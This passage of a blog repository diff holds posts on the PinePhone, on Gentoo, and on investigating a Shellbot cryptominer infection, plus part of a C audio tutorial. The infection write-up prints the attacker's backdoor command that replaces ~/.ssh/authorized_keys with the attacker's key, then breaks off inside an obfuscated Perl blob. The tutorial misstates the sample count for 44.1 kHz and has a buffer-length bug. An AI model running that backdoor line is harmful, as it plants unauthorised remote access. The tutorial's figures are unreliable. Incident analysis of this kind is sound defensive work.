the PINE64 forums frequently, but I don't +post regularly. I think I should, but at the time of writing this, I don't. + +The community of people who use the PinePhone is small, but those within are +very willing to helping others, which I admire. The best example I have of this +was when I was preparing for DEF CON and I emailed Biktorgj to ask about the +FOTA code in the EG25-G modem. I sent this in the morning while I was getting +ready for work and literally /minutes/ later I got a detailed response about how +it's been removed from the firmware. It was at that point I knew that the +PinePhone software stack was in good hands. + +(If you're curious, this was the response.) + +#+BEGIN_QUOTE +Hi, all the FOTA code from Quectel doesn't exist in the custom firmware: + +- LK bootloader has all the relevant code removed +- The main root filesystem doesn't even have a tool to download it +- The recovery partition, which in stock is used to apply the updates is replaced with a minimal bootable filesystem that doesn't have anything except adb, a shell and strace + +If there's something that could be broken into (discarding physical access, if someone has it you're done anyway) would need to be done with a bogus GSM network exploiting some bug in the ADSP firmware (but you could have that with any phone) + +Hope it helps :) +#+END_QUOTE + +But, really, these sorts of things make me want to be more involved in the +community. Maybe I'll do something related to mobile Linux for my master's +thesis. + +An unrelated aside: the only time I've heard of a trojan for Linux circulating +in the wild was a [[https://hackaday.com/2021/12/16/pinephone-malware-surprises-users-raises-questions/][snake game for the PinePhone]], but I don't think this says +terribly much about the PINE64 community. + +* Social Implications + +A few weeks ago I had a party at my place, and some chick was talking about how +she considered owning an Android phone to be a red flag. I turned to my friend +to say that I hoped my weird-ass Linux phone wasn't a red flag. I thought I was +funny. But in reality, the difference doesn't matter to non-technical folk. To +them it's just the color of a "bubble," or whatever. I don't understand why it's +a red flag, nor do I particularly care, I just wanted to lead with an anecdote +about why one's choice of mobile phone somehow carries stigma in my (doomed) +generation. If I cared about that, I probably wouldn't be using a PinePhone, but +I don't often surround myself with these types of people who care about what +kind of cell phone you have. + +There have been a couple of rough spots because of literal technical limitations +with the PinePhone -- for example, PostmarketOS v21.06 wasn't MMS-capable, so I +missed out on some group texts and photos that my parents were sending. But my +parents, my partner, and my friends haven't complained about me using a weird +ass half-functional phone. They've put up with it, and for that I'm +appreciative. That said, it's been a while since I've had one of those annoying +technical problems, so I'm not sure they've really noticed. + +All-in-all, the people I do tell about how I use a phone running mainline Linux +(mainly coworkers) find it cool but also very characteristic of who I am as a +person. I think that's a fair way to conclude this section. + +* Conclusions + +I hinted at this in the introduction, but I'll say it again: the PinePhone is +not a popular choice. I know precisely two people who own one. Both of whom seem +happy to own one. I appreciate the PinePhone, and there are others who +appreciate it as well, but the overwhelming opinion is that it isn't ready for +most "real life" use-cases. + +Come on down to the PINE64 mobile shop. We've got [[https://xnux.eu/log/#017][(hypothetical) exploding phones]] +and [[https://www.pine64.org/2022/08/18/a-response-to-martijns-blog/][core contributors leaving in protest of bureaucracy]]. + +The PinePhone is unique in that it's backed by hobbyists rather than big +companies. With the exception of some of its software components like the +mainline Linux kernel, it doesn't have the constant inflow of resources to make +it usable or convenient. It's well behind its "competitors" in terms of normal +usability and support for running popular mobile applications. That's enough to +make it a non-starter for many people. The PinePhone, and Linux phones more +broadly, are likely to only garner the "free software nerd" crowd for the +foreseeable future. + +I'm hopeful that, as big players like Google [[https://techcrunch.com/2022/07/05/google-backed-glance-to-launch-in-us-within-two-months/][continue moving in the wrong +direction]], interest in free and open alternatives will grow, and that we'll +see start to see non-Android Linux as a viable option some day. But that time is +certainly not now. + +My experiences have been positive, but I am dogmatic about software freedom and +privacy, and get by without a lot of what typical smartphones offer. Hence, I am +not the typical smartphone user. + +That said, if that brief summary of my situation resonates with you, the +PinePhone is an excellent choice. I love my PinePhone because it's more like a +workstation than some strange alien device that I can't easily hack on; it +integrates incredibly well with the rest of my personal computing stack. + +And it's certainly the best option on the market for me right now. The Librem 5 +is the PinePhone's main "competitor," and I would recommend reading Amos B. +Batto's article [[https://amosbbatto.wordpress.com/2021/12/10/comparing-l5-and-pp/][Comparing the Librem 5 USA and PinePhone Beta]] for some more +articulate thoughts about the differences, but in my case, the Librem 5 is +simply out of my price range. + +I would love a device like the PinePhone but with more typical hardware, like a +Qualcomm Snapdragon (though the [[https://wiki.postmarketos.org/wiki/Qualcomm_mainline_porting][mainline Linux support]] for newer Snapdragon SOCs +leaves a bit to be desired.) A bigger battery would be nice, too -- I wouldn't +care if it made the phone unreasonably thick. Modular and easily serviceable.. +with wake/suspend support that doesn't suck. Yeah. That's my dream phone. But I +expect it'll remain a dream for a long while, so for now, I love my +PinePhone.[fn:15] + +--- + +[fn:1] In practice, Android typically uses an outdated kernel with vendor-specific blobs and modifications, and it notably does _not_ use the GNU/Linux userland. [[https://en.wikipedia.org/wiki/Bionic_(software)][Bionic]] is the libc, [[https://source.android.com/devices/graphics/surfaceflinger-windowmanager][SurfaceFlinger]] is the display server, and so on. For the most part, there is very little semblance between Android and the Linux distributions one may be familiar with. You cannot, for example, run a regular Linux application on Android. + +[fn:2] If we take a minute to consider the policy /without/ its partisan nuance, I think this was a [[https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/790270/HCSEC_OversightBoardReport-2019.pdf][good call]] (albeit poorly implemented). + +[fn:3] Using the Android calendar was so painful that I wrote some scripts to generate ICS files for my college classes, recurring meetings at work, etc., so I could import a couple hundred events at a time. I am so thankful that I don't need to do that anymore. + +[fn:4] Folks message me on XMPP so infrequently that I can get by just using it on desktop. + +[fn:6] Which is a bit of a shame. It wasn't a feature I used often on my old phone, but I was happy it was there. I have some really fond memories of sitting in the car when I was 16 and using the FM radio app on my phone to scan the airwaves as we passed through Maine during the winter. + +[fn:7] It was a bit of a pain to set up when I first tried it, so I gave up. + +[fn:8] While I tend to use "GNU/Linux" to refer to the kernel + user space, the distribution I'm running on my phone doesn't actually use GNU components. [[https://postmarketos.org/][PostmarketOS]] is based on Alpine, which uses [[https://musl.libc.org/][musl]] and [[https://www.busybox.net/][BusyBox]]. + +[fn:9] If I recall, my cousin had pulled out a picture of his bedroom back in the late 90's and was commenting on the Limp Bizkit poster, and I mentioned that they'd released an album earlier that week. (And said something about Fred Durst's new appearance.) + +[fn:10] The only attempt I've seen at "breaking into" Android land with something that isn't based on Java is David Boddie's [[https://www.boddie.org.uk/david/www-repo/Projects/#DUCK][DUCK]], which I'd experimented with and enjoyed quite a bit. Unfortunately, I had my falling out with Android development around when I discovered it and never made anything of note with it. + +[fn:11] I /think/ this term originates from [[https://dustycloud.org/][Christine Lemmer-Webber]]. It's a neologism for arguing about which of some number of choices is the best, when one thing being better than another is not only subjective but also a triviality, and when the arguments tend to be unusually heated. American football teams is a good example. I don't think anyone actually cares about the Gnome versus KDE argument nowadays, though, (it seems to have been more relevant in my dad's time) so maybe it isn't accurate to call it footballing in 2022. + +[fn:12] And I can't figure out how to tell the compiler that I want to =move= the mutable =sender= into the closure and use that across all invocations. I don't think it's possible, but someone better than me at Rust is probably going to write me an email and tell me the better way to do this. When that happens, I'll update this post with an addendum. + +[fn:13] The =-t 3600= is to tell =pmbootstrap= not to kill itself if it doesn't see any output in half an hour. It's absolutely the most annoying thing in =pmbootstrap= because things just sometimes take a really long time to cross-compile. + +[fn:14] I should have included =go= as a build dependency, come to think of it. + +[fn:15] I considered a couple of different "clever" titles for this post, but settled on the simple "I love my PinePhone", after seeing a [[https://blog.danieljanus.pl/2022/08/18/i-love-my-gpd-micro-pc/][post of a similar name]] by Daniel Janus's about his GPD Micro PC. Coincidentally, a lot of the reasons he gives for enjoying the laptop line-up with my reasons for enjoying the PinePhone. + +[fn:16] I use [[https://en.wikipedia.org/wiki/Scrot][scrot]] and [[https://www.umaxx.net/dl/sct-0.5.tar.gz][sct]] for these tasks, respectively, on all of my X11-running machines. I've patched both =sct= and =wlsunset= to set the blue balance to 0 at night because [[https://en.wikipedia.org/wiki/Biological_effects_of_high-energy_visible_light][high-energy visible light stimulates melanopsin receptors in the eye]]. I was never able to find an app that could do that on Android, so I'd have to manually adjust it every night. + +[fn:17] Now that I've had a month to mull over this introduction, I think it's actually more likely that the power button was just being pressed down while it was shifting around in my pockets. diff --git a/haunt/posts/installing-gentoo-one-month-later.org b/haunt/posts/installing-gentoo-one-month-later.org new file mode 100644 index 0000000..427554f --- /dev/null +++ b/haunt/posts/installing-gentoo-one-month-later.org @@ -0,0 +1,124 @@ +#+TITLE: Installing Gentoo: One Month Later +#+DATE: <2018-05-28 Mon 20:10> +#+TAGS: opinion linux gentoo + +It seems that the general consensus on "distro hopping," the act of constantly +switching between distributions of GNU/Linux, is that it's a bad habit that +should be consciously avoided. If you do a search for the term, you'll get +articles with titles along the lines of "How I Stopped Distro Hopping." But it's +also a term that gets thrown around loosely, and I think that that "distro +hopping" is an acceptable practice in a lot of the contexts where the phrase is +used. Needless to say, I've "hopped" distributions in the past month, and this +blog post is going to describe the highs and lows of that experience. + +My experiences with GNU/Linux began when I installed openSUSE about four years +ago. I chose it over something more conventional like Ubuntu for its integration +with KDE Plasma 4 (I'm aware that I suffered from bad taste at the time). I +stuck with that until I decided to try Fedora for no particular reason, which +was short-lived. I later switched to Arch Linux to fit in with the cool kids, +and that became my daily driver for a little over two years. Recently, however, +I've switched to Gentoo, because I've wanted to try GNU/Linux without systemd +and friends. Many conversations with people over IRC convinced me that the +maintenance model of those packages is [[https://github.com/systemd/systemd/issues/6237][concerning, to say the least]], and that +it's preferable if the operations-critical parts of my operating system aren't +ridden with CVE's. Gutting Arch of the beasts within is possible, but seriously +complicates everything, so I decided that the best course of action was to just +throw the baby out with the bathwater and use this as an opportunity to +experiment with something I'd been meaning to try. + +Gentoo has been on my radar ever since I installed Arch, as I had several +friends who loved to talk about the merits of a source-based distribution. My +original plan was to wait until I had a machine I could comfortably experiment +with, separate from my workstation or laptop, but since I was hopping distros +anyway, I decided to just go ahead and get my hands dirty. Of course, I didn't +go into the whole migration process without concerns. For one, I want to cleanse +/all/ of machines of systemd. That includes the Raspberry Pi I use as a home +server, and I don't think it's powerful enough to be compiling everything from +source. I opted to install Alpine on that instead. The other problem was that my +laptop's only storage device was an SSD, which I didn't want to subject to +excessive writes. Fortunately the solution to that was straightforward: I was +able to mount =/var/tmp/portage'=as tmpfs so that all the object files generated +while compiling got dumped to an in-memory filesystem instead of the disk. + +After making sure that everything I needed to do was possible on the new setup, +I went ahead and installed it on both my workstation and laptop. The canonical +reference for installing Gentoo, dubbed "the handbook," is incredibly +well-written, so the installation process was painless. I think the quality of +documentation is a big benefit that Gentoo has over Arch; everyone praises the +Arch wiki, but I find that the Gentoo documentation is far more informative and +much more consistent. Setting it up past the initial installation really wasn't +difficult either - I had X11 running the same night. + +I also used this as an opportunity to try out some new software. On Arch, I was +using i3 and rxvt-unicode, but now I'm on dwm and st and I'm really enjoying +both of them. These programs are configured at compile-time, which would've made +using them on Arch a bit unwieldy, but Gentoo's package manager makes the whole +process trivial. I just throw any patches I want in =/etc/portage/patches=, edit +the =config.h= files in =/etc/portage/savedconfig=, and emerge the package. + +Gentoo's package manager is by far the best I've used in my four years of +running GNU/Linux. Being able to interface with it through a couple of files in +=/etc= is a great interface. It also brings USE flags, which is probably the +poster child of Gentoo's features. If you're not familiar with USE flags, they +allow you to enable or disable certain features at compile-time. As an example, +say I want to play some Goldeneye on my Nintendo 64 and use my computer as a +monitor. I have a cheap USB capture card with a kernel driver exposing the +Video4Linux API. I'll need some sort of video player to put the stream on my +monitor, but that video player is going to need to come with support for said +Video4Linux API. I'm what you might call a special case - most GNU/Linux users +don't have capture cards, so that feature isn't important to them. If it isn't +important to them, why should they have to waste disk space housing all the code +and dependencies for it? This is where conditional-compilation comes in. During +the process of turning source code into executable binaries, certain features +can be turned on or off. In a binary distribution like Arch Linux, the package +maintainers need to make an executive decision about which features should be +enabled, because they're making a binary for /everyone/. And, last I checked, +they decided that V4L support wasn't important enough for them to enable it. +Bummer. If you want that feature, you'll need to compile it yourself. And if a +package has features you don't care about, bummer. You have to either deal with +all the dependencies that those features bring in, or compile it yourself. + +USE flags makes this a lot easier by integrating conditional compilation options +into the package manager, rather than forcing you to wrangle with the configure +script of whatever build system the software uses. For example, I can compile +mpv with support for V4L simply by enabling the 'v4l' USE flag. The nice thing +about this is that all packages supporting V4L recognize this same USE flag, and +I can enable it globally - compiling V4L support into everything on my system +without putting much thought into it. And if I just want it for mpv instead of +everything on my system, I'm also able to enable it for just certain packages. + +This freedom does come with the downsides of, well, having to compile everything +from source. Compiling software takes time and processing power, and trying to +optimize the process has caused me some headaches. In Gentoo, you'll want to +pick a decent value for =--jobs= in =make.conf= so that compilation is fast. +=--jobs=, or =-j= is a signal to the build system that it can run some number of +tasks in parallel. I started out with =-j8= on my laptop, since it has 8 cores. +This worked great for smaller packages, but when I tried to emerge Firefox, my +machine gave up half-way through. It was still running. I could ~Ctrl+Z~ from +=emerge= and use it, but the compilation process had hanged and my only option +was to restart it, to which it would hang at another point in the compilation +process. I tried it again with =-j4= and it was able to compile without any +trouble, it just took much longer. I had a similar issue on my workstation - it +has a quad-core processor so I was using =-j4=, but I was regularly getting +segmentation faults while emerging large packages such as LLVM (apparently a +hardware issue that I need to look into), so I lowered it to =-j2=. Of course, +looking back on it now, [[https://blogs.gentoo.org/ago/2013/01/14/makeopts-jcore-1-is-not-the-best-optimization/][the number of cores your machine has isn't a good value +for '-j' anyway.]] + +Another great thing about Portage is the API for making your own packages. It's +shell scripts, so it's similar to how you'd go about making a package on Arch, +but I find the API feels like a massive hack. For one, [[https://devmanual.gentoo.org/][the documentation]], again, +towers over that of Arch, but it also brings something reminiscent of a standard +library: eclasses, which enable you to abstract the commonality between packages +using the same build system. Also, instead of having just one big AUR, +unofficially maintained packages are distributed in user-managed "overlays." I'd +think that pacman can probably do something similar, but you almost never see it +in practice. + +All in all, I'm very happy with the level of customization and freedom that +Gentoo offers me, and I haven't missed systemd one bit. OpenRC, ALSA, and +wpa_supplicant are all I need. Going forward, I'm hoping to become more involved +in the Gentoo community - becoming active on the forums and IRC, and hosting an +overlay for the handful of ebuilds I've made. The Gentoo community seems much +more tightly-knit than the Arch community, and I'm looking forward to meeting +some new friends. diff --git a/haunt/posts/investigating-a-shellbot-aa-infection.org b/haunt/posts/investigating-a-shellbot-aa-infection.org new file mode 100644 index 0000000..e48837d --- /dev/null +++ b/haunt/posts/investigating-a-shellbot-aa-infection.org @@ -0,0 +1,282 @@ +#+TITLE: Investigating a Backdoor.SH.SHELLBOT.AA Infection +#+DATE: <2020-01-22 Wed 10:43> +#+TAGS: writeup reverse-engineering linux security + +It's typical for the younger sibling to look up to and mimic the older sibling, +which is apparently what happened while I was away at school. I'm self-hosting a +few services off of a Raspberry Pi B+ back at my parents' house, and when my +brother got a Pi of his own, he decided that he also wanted to use it for +self-hosting. Unfortunately, he doesn't know much about security, and +unintentionally did me the favor of setting up a honeypot.[fn:1] + +I was home for winter break last week and my dad called me over to tell me that +he'd gotten an email from our ISP. When he said that, I thought it was related +to the now defunct [[https://en.wikipedia.org/wiki/Copyright_Alert_System][Copyright Alert System]], but this time, it was a legitimate +abuse complaint. + +#+BEGIN_SRC prog +From: [REDACTED] +Date: January 17, 2020 at 12:30:43 PM EST +To: [REDACTED] +Subject: [REDACTED] Unauthorized traffic originating from your IP [REDACTED] + +Dear Verizon Online Customer, + +We have received 51 complaints since 01/15/2020 + +On 01-17-2020, your account was reported to have been used in an attempt to gain +unauthorized access to another system, or to transmit malicious traffic to +another Internet user. + +It is possible your system may have been infected by a virus or a botnet that is +causing this action. + +Report and/or Logs: + +Note: Local timezone is +0100 (CET) +Jan 17 10:23:39 [REDACTED] sshd[3230]: Invalid user user from [REDACTED] +Jan 17 10:23:39 [REDACTED] sshd[3230]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=[REDACTED] +Jan 17 10:23:41 [REDACTED] sshd[3230]: Failed password for invalid user user from [REDACTED] port 32776 ssh2 +Jan 17 10:23:41 [REDACTED] sshd[3230]: Received disconnect from [REDACTED] port 32776:11: Bye Bye [preauth] +Jan 17 10:23:41 [REDACTED] sshd[3230]: Disconnected from [REDACTED] port 32776 [preauth] +Jan 17 11:33:28 [REDACTED] sshd[17364]: Invalid user nitesh from [REDACTED] +Jan 17 11:33:28 [REDACTED] sshd[17364]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=[REDACTED] +Jan 17 11:33:30 [REDACTED] sshd[17364]: Failed password for invalid user nitesh from [REDACTED] port 60306 ssh2 +Jan 17 11:33:30 [REDACTED] sshd[17364]: Received disconnect from [REDACTED] port 60306:11: Bye Bye [preauth] +Jan 17 11:33:30 [REDACTED] sshd[17364]: Disconnected from [REDACTED] port 60306 [preauth] +Jan 17 11:59:21 [REDACTED] sshd[22398]: Invalid user elastic from [REDACTED] + +Please immediately ensure your anti-virus software is properly updated, and then +run a full-system virus scan on your computer(s). Follow the removal +instructions for any viruses found, as indicated by your anti-virus software. + +Additional information and removal instructions about viruses and your +anti-virus software may be found on the website of your anti-virus software +manufacturer. + +It is difficult to verify the presence of an exact virus which has infected a +computer without a full system scan with up-to-date anti-virus software. +Therefore, you may wish to contact the Technical Support Department of your +anti-virus software manufacturer, should you need assistance with this process, +or have any questions or concerns about a possible virus infection. + +Please be aware of the importance in taking immediate actions to stop further +virus related activity. If you are unable to take immediate action, it would be +advisable to remove the computer(s) which may be infected from any networks and +the Internet connection until it has been properly cleaned. For DSL customers, +this may be easily done by unplugging the network cable that connects the +computer to the DSL modem, or the telephone line that connects the DSL modem to +the telephone jack. + +Verizon Policy: + +If you do not take appropriate action to resolve this issue, we will be forced +to take further action, which could include the suspension of your service until +the issue is resolved, in order to ensure the safety of our network, and the +safety of other Internet users. + +Please carefully review these agreements, which can be viewed at: + +http://www.verizon.com/about/terms/ + +Any future violation will result in further action being taken, up to, and +including, the termination of your service. + +Sincerely, + +Verizon Online Abuse +http://www.verizon.com/about/terms/ +http://www.verizon.com/securityinfo +[REDACTED] +#+END_SRC + +We ran through a couple of possibilities for the source before my dad pulled up +the list of ports open on our router. There were a few we didn't remember +setting up, and they were mapped to an IP we didn't recognize. That's when my +brother came down and, after some interrogation, spilled the beans. + +"Port 24 is SSH for my Raspberry Pi." + +"Did you... change the default login credentials?" + +"No." + +"Go unplug it right now." + +I told him to give me the SD card so I could pull the malware off of it, and to +wipe it clean before turning the Pi on again. + +The first place I decided to look was =/var/log/auth.log=. + +... + +What the hell? There are entries from an hour ago! + +#+BEGIN_SRC prog +... +Jan 18 10:43:23 raspberrypi sshd[819]: Failed password for pi from [REDACTED] port 59468 ssh2 +Jan 18 10:43:41 raspberrypi sshd[819]: Failed password for pi from [REDACTED] port 59468 ssh2 +Jan 18 10:43:44 raspberrypi sshd[819]: Accepted password for pi from [REDACTED] port 59468 ssh2 +Jan 18 10:43:44 raspberrypi sshd[819]: pam_unix(sshd:session): session opened for user pi by (uid=0) +Jan 18 10:43:44 raspberrypi systemd-logind[375]: New session c2 of user pi. +Jan 18 10:43:44 raspberrypi systemd: pam_unix(systemd-user:session): session opened for user pi by (uid=0) +Jan 18 10:51:50 raspberrypi sudo: pi : TTY=pts/0 ; PWD=/var/log ; USER=root ; COMMAND=/usr/bin/apt-get install denyhosts +Jan 18 10:51:50 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by pi(uid=0) +Jan 18 10:52:09 raspberrypi sudo: pam_unix(sudo:session): session closed for user root +Jan 18 11:17:01 raspberrypi CRON[1096]: pam_unix(cron:session): session opened for user root by (uid=0) +Jan 18 11:17:02 raspberrypi CRON[1096]: pam_unix(cron:session): session closed for user root +#+END_SRC + +I asked my brother about it, and as it turns out, he didn't heed my advice to +unplug it immediately.[fn:2] Even if installing =denyhosts= didn't do anything, it +did leave some extra log trails for me to look at. + +#+BEGIN_SRC prog +... +2020-01-18 10:52:06,162 - denyhosts : INFO new suspicious logins: ['teamspeak - [REDACTED]'] +... +#+END_SRC + +Grepping for "Accepted", we can find the time of the initial breach. Well... +assuming that the logs up to this point haven't been tampered with. + +#+BEGIN_SRC prog +Jan 15 09:36:10 raspberrypi sshd[2253]: Accepted password for teamspeak from [REDACTED] port 49002 ssh2 +Jan 15 09:36:10 raspberrypi sshd[2253]: pam_unix(sshd:session): session opened for user teamspeak by (uid=0) +Jan 15 09:36:10 raspberrypi systemd-logind[369]: New session c7 of user teamspeak. +Jan 15 09:36:10 raspberrypi systemd: pam_unix(systemd-user:session): session opened for user teamspeak by (uid=0) +... +Jan 15 09:36:20 raspberrypi passwd[2288]: pam_unix(passwd:chauthtok): password changed for teamspeak +Jan 15 09:36:20 raspberrypi passwd[2295]: pam_unix(passwd:chauthtok): authentication failure; logname= uid=1001 euid=0 tty= ruser= rhost= user=teamspeak +... +Jan 15 09:42:02 raspberrypi sshd[2355]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=[REDACTED] user=teamspeak +Jan 15 09:42:04 raspberrypi sshd[2355]: Failed password for teamspeak from [REDACTED] port 56002 ssh2 +Jan 15 09:42:05 raspberrypi sshd[2355]: Received disconnect from [REDACTED] port 56002:11: Bye Bye [preauth] +Jan 15 09:42:05 raspberrypi sshd[2355]: Disconnected from [REDACTED] port 56002 [preauth] +Jan 15 09:42:05 raspberrypi sshd[2253]: pam_unix(sshd:session): session closed for user teamspeak +... +#+END_SRC + +So my brother wasn't compromised by the default password for 'pi' that comes +with [[https://www.raspberrypi.org/downloads/noobs/][NOOBS]]. His server was compromised because the account for running his TS3 +server had an empty password. At this point, I had what I thought was a pretty +clever idea for finding whatever files the attacker might've dropped. + +#+BEGIN_SRC prog +jakob@Epsilon /tmp/image $ find . -newermt $(date +%Y-%m-%d -d '7 days ago') -type f -type executable -print +... +./home/teamspeak/.bashtemp/a/a +./home/teamspeak/.bashtemp/a/anacron +./home/teamspeak/.bashtemp/a/stop +./home/teamspeak/.bashtemp/a/cron +./home/teamspeak/.bashtemp/a/init0 +./home/teamspeak/.bashtemp/a/run +./home/teamspeak/.bashtemp/a/upd +./home/teamspeak/.bashtemp/cron.d +./home/teamspeak/.bashtemp/b/a +./home/teamspeak/.bashtemp/b/stop +./home/teamspeak/.bashtemp/b/sync +./home/teamspeak/.bashtemp/b/run +... +#+END_SRC + +Nice. + +The =a= directory seems to contains scripts for setting up a cryptocurrency miner. +=a/a= sets [[https://en.wikipedia.org/wiki/Model-specific_register][MSR]] values and creates =a/upd=, which essentially just runs =a/run=. =a/stop= +hamfistedly kills all =cron= jobs, =a/init-0= is a "script for killing +cryptocurrency miners in a Linux enviornment [sic]", and =a/run= runs either +=anacron= or =cron= depending on =$ARCH=. This is pretty suspicious, especially since +there aren't any crontabs. + +#+BEGIN_SRC prog +jakob@Upsilon /tmp/image/home/teamspeak/.bashtemp/a $ strings anacron | grep -i monero + "coin": "monero", + "coin": "monero", + "coin": "monero", +cryptonight-monerov7 +cryptonight-monerov8 +monero +#+END_SRC + +Surprise, surprise. It isn't actually =cron=. It's a cryptominer in disguise. + +=a/run= only checks for 'x86_64' and 'i686', which I guess this means that it +didn't do anything with my brother's ARM machine. But my brother's response when +I mentioned this to him was "that explains why it was burning hot when I +unplugged it". So maybe it /was/ doing some mining. The world may never know. + +The =b= directory is a little more interesting. =b/a= creates =b/sync=, which, like +=a/upd=, essentially just runs =b/run=. =b/stop= hamfistedly kills a bunch of +processes: =rsync=, =perl=, =nginx=, =ecryptfx=, and =xmr= ([[https://en.wikipedia.org/wiki/Monero_(cryptocurrency)][Monero]]?). =b/run= is where the +fun starts. It's a shell script that runs some Perl code, which I'll get to in a +minute, but it overwrites =~/.ssh= to set up a backdoor. + +#+BEGIN_SRC prog +cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh +#+END_SRC + +If you do a search for that key, you'll come up with results from other people +who've been infected. + +- [[https://ubuntuforums.org/archive/index.php/t-2395684.html][I think I got hacked by some crypo mining malware]] +- [[https://askubuntu.com/questions/1161003/strange-cron-job-takes-up-100-of-cpu-ubuntu-18-lts-server][Strange Cron Job takes up 100% of CPU Ubuntu 18 LTS Server]] + +As for the Perl code, it's a base64 blob echoed into =base64 --decode=, which is +then piped into =perl=. Decoding it reveals + +#+BEGIN_SRC perl +eval unpack u=>q{_"FUY("1P +#+TAGS: tutorial programming audio c + +To start off, I'd like to say that I know very little about audio programming +and digital audio in general. I've never formally studied signal processing, +and hell, I haven't even started high school physics yet. This post merely +documents what I've learned while trying to get sound working in my game, +because there aren't really any other learning resources about this out there. + +In this tutorial, we'll write a basic music player for Ogg Vorbis in C using +two awesome libraries from Xiph.Org. The first, libao, will provide us with a +means to play sound through our speakers, or headphones. or whatever, and we'll +use libvorbisfile to decode the Ogg Vorbis files. + +libao, like most other audio libraries, works by giving us a *PCM buffer* that +we write sound data to, and that gets played back. *PCM* stands for Pulse-Code +Modulation, and it's the basis of digital audio programming. You might have +heard people talk about how analog audio is so much better than digital, and I +think that learning the difference between the two helps to better understand +digial audio. Historically, sound was recorded in terms of analog signals, +which were easy to store as something like field strength on a magnetic medium. +However, digitizing audio requires the signal to be either sampled or +quantized. Both techniques are fairly similar, basically getting an +instantaneous representation of the signal some number of times a second. The +image below does a good job of explaining it, I think. + +#+CAPTION: Diagram showing the difference between an analog sine wave and a quantization of that wave. +[[./analog-vs-digital.png]] + +The rate at which the signal is sampled or quantized is the *frequency*. 44.1 +kHz is typically the standard - meanining that 441,000 samples are taken every +second. The number of *channels* is essentially how many speakers the sound is +meant for. Stereo sound is the standard, so that is typically 2. And finally, +the audio can be 8, 16, 24, or 32 bit, representing the size of the integer +used to represent the sample. + +Before we get into the code; you might need to configure libao if you're using +PulseAudio. Just open it up in your favorite editor and change it as shown +below. + +#+BEGIN_SRC +$ sudo $EDITOR /etc/libao.conf +# Change from +default_driver=alsa +dev=default +# To +default_driver=pulse +# Make sure to remove the dev=default line +#+END_SRC + +Now we're ready to get into the code. We'll include the headers for libao and +libvorbisfile, as well as some standard library headers and the size of the PCM +buffer, which I'll explain soon. + +#+BEGIN_SRC c :hl_lines 0 +#include +#include + +#include +#include + +#define BUF_SIZE 256 +#+END_SRC + +The program is actually simple enough that we can do everything in main. For +clarity, I'll be using C99 variable declaration. Our program will take the file +to play as a command-line argument, so the first thing we need to do is check +argc. + +#+BEGIN_SRC c :hl_lines 0 +if (argc != 2) { + fprintf(stderr, "Usage: %s [PATH]\n", argv[0]); + return 1; +} +#+END_SRC + +Next, we'll initialize libao. We'll also get the ID of the default sound driver +for when we open an audio device later. + +#+BEGIN_SRC c :hl_lines 0 +ao_initialize(); +int default_driver = ao_default_driver_id(); +#+END_SRC + +Now, we'll specify the output format we want. This is what we were talking about +earlier, about frequency and channels and such. The only part of this that +wasn't mentioned was =format.byte_format=, which is just the byte order of the +PCM buffer. The Vorbis decoder will work with either big or little endian, but +we'll just stick with little endian for simplicity. + +#+BEGIN_SRC c :hl_lines 0 +ao_sample_format format = {0}; +format.bits = 16; +format.channels = 2; +format.rate = 44100; +format.byte_format = AO_FMT_LITTLE; +#+END_SRC + +We'll use this format structure to open an audio device with the default sound +driver we figured out earlier. + +#+BEGIN_SRC c :hl_lines 0 +ao_device *device = ao_open_live(default_driver, &format, NULL); +if (device == NULL) { + fprintf(stderr, "Error opening device\n"); + return 1; +} +#+END_SRC + +And now, we'll get our PCM buffer. Some audio libraries have a routine to give +you a a buffer, but libao is alright with us using pretty much anything, so +we'll allocate it with =malloc(3)=. At this point, maybe you're wondering why we +use a buffer. While we /could/ read and play one byte at a time, that can be +very inefficient. It's better to read it into a buffer, and then play that +buffer. You don't want it to be too large, though, as there will be a longer +pause every time the buffer has to be read into. You also don't want it to be +too small. I find that 256 is good enough, but you can tweak that to your needs. +The size should be a power of two. + +#+BEGIN_SRC c :hl_lines 0 +char *buf = malloc(BUF_SIZE); +if (buf == NULL) { + fprintf(stderr, "Error allocating PCM buffer.\n"); + return 1; +} +#+END_SRC + +Now, we'll initialize libvorbisfile, which is done by opening the file we want +to play. This huge switch statement isn't necessary, it's just there to show all +the possible status codes of =ov_fopen=. Checking for a status code of 0 would +be just fine here. + +#+BEGIN_SRC c :hl_lines 0 +OggVorbis_File vf; +switch (ov_fopen(argv[1], &vf)) { +case OV_EREAD: + fprintf(stderr, "Couldn't open %s.\n", argv[1]); + return 1; + +case OV_ENOTVORBIS: + fprintf(stderr, "File contains no vorbis data.\n"); + return 1; + +case OV_EVERSION: + fprintf(stderr, "Vorbis version mismatch.\n"); + return 1; + +case OV_EBADHEADER: + fprintf(stderr, "File contains a bad bitstream header.\n"); + return 1; + +case OV_EFAULT: + fprintf(stderr, "Failure induced by heap/stack corruption.\n"); + return 1; +} +#+END_SRC + +The real meat and potatoes of the program comes next. A loop that continually +reads data into our PCM buffer and plays it, until there's no more data to +play. + +#+BEGIN_SRC c :hl_lines 0 +int read, bitstream; +do { + read = ov_read(&vf, buf, BUF_SIZE, 0, 2, 1, &bitstream); + ao_play(device, buf, BUF_SIZE); +} while (read > 0); +#+END_SRC + +The random integer constants in the call to =ov_read= might be a bit +intimidating, but it's really nothing to worry about. The first parameter is +whether or not the PCM buffer is big endian (which it is not, so we pass 0), the +second is the sample size, where 2 represents 16-bit, and the third is whether 